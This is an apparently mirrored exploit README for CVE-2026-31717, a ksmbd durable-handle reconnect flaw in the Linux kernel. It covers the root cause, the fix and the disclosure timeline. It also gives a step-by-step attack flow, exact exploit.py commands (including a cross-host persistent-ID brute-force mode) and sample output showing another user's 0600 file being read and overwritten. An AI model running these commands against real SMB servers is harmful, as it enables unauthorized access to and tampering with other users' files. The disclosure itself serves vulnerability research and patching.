## https://sploitus.com/exploit?id=DAD94186-788B-5FD1-875D-88D7D63F99E9
# CVE-2026-31717: ksmbd DHnC Durable-Handle Reconnect Access-Control Bypass
## Overview
| Field | Value |
|-------|-------|
| Component | ksmbd (Linux in-kernel SMB3 server) |
| Affected file | `fs/smb/server/oplock.c` (`smb2_check_durable_oplock`) |
| Class | CWE-863: Incorrect Authorization |
| Impact | Authenticated SMB user hijacks another user's orphaned durable handle, gaining read+write through the original opener's `f_cred` (POSIX ACL bypass) |
| Affected dialects | **SMB 2.1 (0x0210) and above** |
| Affected versions | Linux 6.12 โ 6.19.x (commit `c8efcc786146` introducing durable handles, before the fix) |
| Prerequisite | `durable handles = yes` in `ksmbd.conf` (non-default) |
| CVSS 3.1 | **8.8 High** `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| Fix | [`ksmbd: validate owner of durable handle on reconnect`](https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/) (commit `49110a8ce654`) |
## Root cause
`smb2_check_durable_oplock()` has two branches: lease-based handles (secure)
and non-lease batch-oplock handles (vulnerable). The non-lease branch checks
only the oplock level, then `goto out` skips every authorization step:
ClientGUID match, lease key, and `ksmbd_validate_name_reconnect()`.
```c
// fs/smb/server/oplock.c:1852โ1864 (pre-fix)
if (opinfo->is_lease == false) {
if (lctx) { ... }
if (opinfo->level != SMB2_OPLOCK_LEVEL_BATCH) {
ret = -EBADF;
}
goto out; // skips ClientGUID, lease key, filename checks
}
```
`parse_durable_handle_context()` for DHnC (v1) looks up the handle solely by
attacker-supplied `persistent_id` (smb2pdu.c:2796). Persistent IDs are
allocated via `idr_alloc_cyclic(..., 0, INT_MAX-1, ...)`
(vfs_cache.c:618): sequential, predictable, and **global** across all
sessions on the server.
Once `ksmbd_reopen_durable_fd()` rebinds the orphaned `fp` to the attacker's
`tcon`, the attacker's READ/WRITE goes through `kernel_read(fp->filp, ...)`
(vfs.c:380) and `kernel_write(fp->filp, ...)` (vfs.c:509). `fp->filp->f_cred`
still belongs to the **original opener**, so DAC is checked against the
victim's credentials, the attacker has effectively borrowed them.
## Attack flow
```
1. Victim opens FILE with BATCH oplock + DHnQ context โ persistent_id=N
2. Victim's connection drops without SMB2 CLOSE
โ fp->conn = NULL; handle persists in global_ft (vfs_cache.c:921)
3. Attacker authenticates as a different SMB user (different POSIX UID)
4. Attacker sends CREATE with DHnC context, persistent_id=N
โ ksmbd_lookup_durable_fd(N) returns victim's fp (no identity check)
โ smb2_check_durable_oplock() takes non-lease branch, skips all checks
โ ksmbd_reopen_durable_fd() reassigns conn/tcon to attacker
5. Attacker reads/writes FILE. kernel_read/write use fp->filp->f_cred
โ POSIX ACL is evaluated against the VICTIM, not the attacker.
```
## Why DHnC and not DH2C
DH2C (durable handle reconnect v2) is *also* funneled through the same
vulnerable `smb2_check_durable_oplock()` call (smb2pdu.c:3025), but
`parse_durable_handle_context()` additionally `memcmp`s a 128-bit `CreateGuid`
against `fp->create_guid` (smb2pdu.c:2763โ2768). The attacker would need to
leak that 128-bit value out-of-band... not bruteforceable.
So DHnC (v1) is the path for blind exploitation: the only attacker-supplied
identifier is the 64-bit `persistent_id`, which starts at zero on a fresh
server and increments sequentially.
## Scenarios
The PoC ships three modes:
| Mode | What it shows |
|------|---------------|
| `acl-bypass` | Two-clause control test: attacker's normal CREATE on a 0600 victim-owned file is denied โ DHnC reconnect succeeds โ re-test, still denied. Proves the read+write only worked through borrowed `f_cred`. |
| `victim` | Phase 1 alone. Use when victim and attacker run on different hosts. |
| `attack` | Phase 2 alone. Bruteforce a `--pid-start..--pid-end` range from a clean attacker session. |
## Real-world triggers
ksmbd marks a handle orphaned (`fp->conn = NULL`, vfs_cache.c:921) on **any**
session teardown: clean LOGOFF *or* TCP-level RST. The PoC defaults to RST
(via `SO_LINGER {1,0}`) because that is the realistic event:
| Event | Client OS |
|------------------------------------------------|---------------|
| Lid close / suspend | Win, macOS |
| WiFi roam between APs | Win, macOS |
| VPN flap (split-tunnel reconnect) | All |
| `cifs.ko` mount on a NIC that goes down | Linux |
| Office process crash mid-edit | Win, macOS |
| SMB client process killed | All |
| Docker container restart with bind-mount over CIFS | Linux |
Where the bug actually matters in practice:
- **OpenWrt** ships ksmbd as the default SMB server package; durable handles
are a flippable option in LuCI.
- **TrueNAS Scale** (24.10+) experimentally uses ksmbd. Durable handles get
enabled to satisfy Office/network-share workflows that complain about
reconnect latency.
- Any **Samsung embedded NAS appliance**, the code path is consumer-storage heritage.
- Any **Linux fileserver** where admins chose to configure ksmbd instead of smbd for performance.
`durable handles = no` is the ksmbd-tools default, but admins flip it on for
exactly the workloads that produce orphans (laptops + Office over flaky WiFi).
## Reproduction
### Prerequisites
```bash
sudo apt install build-essential flex bison bc libelf-dev libssl-dev \
libglib2.0-dev libnl-3-dev libnl-genl-3-dev libtool autoconf \
qemu-system-x86 busybox-static cpio python3-pip
pip3 install impacket
```
Current Ubuntu/Debian LTS kernels (โค6.11) do not include ksmbd durable-handle
support, so the setup uses QEMU with a 6.19.x kernel.
### Setup and run (headline)
```bash
# Build kernel + QEMU environment (one-time, ~5 min)
./setup.sh
# Terminal 1: boot the vulnerable ksmbd server
./run.sh
# Terminal 2: run the headline scenario (wait for "=== ksmbd ready ===")
python3 exploit.py acl-bypass \
--target 127.0.0.1 --port 44500 --share share \
--user victim --password Victim1 \
--user2 attacker --password2 Attacker2 \
--file secret_0600.txt
```
Expected output:
```
[+] Authenticated as 'victim' over SMB 3.0, ...
[+] Wrote 11 bytes of sensitive data
[+] TCP RST sent โ handle orphaned in ksmbd
...
[+] CONTROL pre-exploit: normal CREATE โ STATUS_ACCESS_DENIED โ
[!!] HIJACKED handle at persistent_id=N
[!!] READ as attacker: b'TOP SECRET\n' (POSIX 0600 bypassed)
[!!] WROTE 24 bytes as attacker (POSIX 0600 bypassed)
[+] CONTROL post-exploit: normal CREATE โ STATUS_ACCESS_DENIED โ
File POSIX mode unchanged; the writes only succeeded because the
hijacked fp->filp carried the victim's f_cred.
```
Then in the QEMU console:
```sh
ls -l /tmp/smbtest/secret_0600.txt # mode 0600, owner victim
cat /tmp/smbtest/secret_0600.txt # contents: "PWNED by attacker"
```
### Dialect regression
```bash
python3 exploit.py acl-bypass --dialect 2.1 \
--target 127.0.0.1 --port 44500 --share share \
--user victim --password Victim1 \
--user2 attacker --password2 Attacker2 \
--file secret_0600.txt
```
### Cross-host split (victim and attacker on different machines)
```bash
# On the victim's host
python3 exploit.py victim --target --share share \
--user victim --password Victim1 --file secret_0600.txt
# On the attacker's host
python3 exploit.py attack --target --share share \
--user attacker --password Attacker2 --pid-start 0 --pid-end 64
```
### Existing kernel source tree
```bash
./setup.sh /path/to/linux-source # skip the kernel.org download
PORT=9445 ./run.sh # custom forwarded port
```
## Fix
The patch adds a `struct durable_owner` (uid, gid, account name) to
`ksmbd_file`. When a handle becomes orphaned, the owner's identity is captured;
on reconnect, `ksmbd_vfs_compare_durable_owner()` checks it before
`smb2_check_durable_oplock()` runs, so DHnC and DH2C reconnects from a
different SMB user are rejected with `-EBADF`.
## Timeline
| Date | Event |
|------|-------|
| 2026-04-04 | Vulnerability reported to security@kernel.org |
| 2026-04-05 | Patch provided by maintainer (Namjae Jeon) |
| 2026-04-05 | Patch verified by reporter |
| 2026-05-01 | CVE-2026-31717 announced |
## Credits
- Davide Ornaghi ([@TurtleARM](https://github.com/TurtleARM/))
- Giuseppe Caruso
## References
- [CVE-2026-31717 announcement](https://lore.kernel.org/linux-cve-announce/2026050124-CVE-2026-31717-f68b@gregkh/)